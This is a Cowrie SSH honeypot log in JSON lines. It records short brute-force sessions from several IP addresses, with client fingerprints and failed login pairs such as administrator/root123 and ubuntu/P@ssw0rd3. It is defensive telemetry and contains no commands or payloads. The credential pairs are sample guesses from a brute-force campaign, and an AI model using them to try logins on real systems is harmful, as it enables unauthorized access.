{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:04.629407Z","src_ip":"159.203.92.129","session":"67b830f742ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:04.634772Z","src_ip":"159.203.92.129","session":"67b830f742ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root12","message":"login attempt [administrator/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:04.647799Z","src_ip":"159.203.92.129","session":"67b830f742ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":44592,"dst_ip":"10.17.0.5","dst_port":22,"session":"c35be2760112","protocol":"ssh","message":"New connection: 150.95.157.171:44592 (10.17.0.5:22) [session: c35be2760112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:05.309817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:05.315128Z","src_ip":"150.95.157.171","session":"c35be2760112","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:05.476629Z","src_ip":"150.95.157.171","session":"c35be2760112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:05.655465Z","src_ip":"159.203.92.129","session":"67b830f742ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testsite","password":"test","message":"login attempt [testsite/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:06.154505Z","src_ip":"150.95.157.171","session":"c35be2760112","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:07.321673Z","src_ip":"150.95.157.171","session":"c35be2760112","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43142,"dst_ip":"159.203.135.109","dst_port":22,"session":"53de36333137","protocol":"ssh","message":"New connection: 159.203.92.129:43142 (159.203.135.109:22) [session: 53de36333137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:49.315315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:49.320076Z","src_ip":"159.203.92.129","session":"53de36333137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:49.324306Z","src_ip":"159.203.92.129","session":"53de36333137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root123","message":"login attempt [administrator/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:49.335530Z","src_ip":"159.203.92.129","session":"53de36333137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:50.342553Z","src_ip":"159.203.92.129","session":"53de36333137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":20967,"dst_ip":"159.203.135.109","dst_port":22,"session":"6364cef719a6","protocol":"ssh","message":"New connection: 125.166.19.90:20967 (159.203.135.109:22) [session: 6364cef719a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:57.078583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:57.083096Z","src_ip":"125.166.19.90","session":"6364cef719a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:57.358193Z","src_ip":"125.166.19.90","session":"6364cef719a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd3","message":"login attempt [ubuntu/P@ssw0rd3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:58.491292Z","src_ip":"125.166.19.90","session":"6364cef719a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":33410,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5c8a412382e","protocol":"ssh","message":"New connection: 150.95.157.171:33410 (10.17.0.5:22) [session: a5c8a412382e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:58.766467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:58.770590Z","src_ip":"150.95.157.171","session":"a5c8a412382e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:58.941056Z","src_ip":"150.95.157.171","session":"a5c8a412382e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle10g","password":"oracle10g","message":"login attempt [oracle10g/oracle10g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:59.626361Z","src_ip":"150.95.157.171","session":"a5c8a412382e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:47:59.768777Z","src_ip":"125.166.19.90","session":"6364cef719a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:00.796484Z","src_ip":"150.95.157.171","session":"a5c8a412382e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53086,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50be8eb5d18","protocol":"ssh","message":"New connection: 159.203.92.129:53086 (159.203.135.109:22) [session: c50be8eb5d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:34.409662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:34.413086Z","src_ip":"159.203.92.129","session":"c50be8eb5d18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:34.416873Z","src_ip":"159.203.92.129","session":"c50be8eb5d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root123!@","message":"login attempt [administrator/root123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:34.427036Z","src_ip":"159.203.92.129","session":"c50be8eb5d18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:35.432701Z","src_ip":"159.203.92.129","session":"c50be8eb5d18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":57512,"dst_ip":"159.203.135.109","dst_port":22,"session":"8efeac2c44f6","protocol":"ssh","message":"New connection: 185.40.30.168:57512 (159.203.135.109:22) [session: 8efeac2c44f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:43.910659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:43.914886Z","src_ip":"185.40.30.168","session":"8efeac2c44f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:44.056665Z","src_ip":"185.40.30.168","session":"8efeac2c44f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"TX@123456","message":"login attempt [root/TX@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:44.543136Z","src_ip":"185.40.30.168","session":"8efeac2c44f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:45.670244Z","src_ip":"185.40.30.168","session":"8efeac2c44f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":50462,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddfe2bd27c54","protocol":"ssh","message":"New connection: 150.95.157.171:50462 (10.17.0.5:22) [session: ddfe2bd27c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:52.469345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:52.473879Z","src_ip":"150.95.157.171","session":"ddfe2bd27c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:52.635923Z","src_ip":"150.95.157.171","session":"ddfe2bd27c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mftuser","password":"mftuser","message":"login attempt [mftuser/mftuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:53.308296Z","src_ip":"150.95.157.171","session":"ddfe2bd27c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:48:54.472303Z","src_ip":"150.95.157.171","session":"ddfe2bd27c54","protocol":"ssh"}
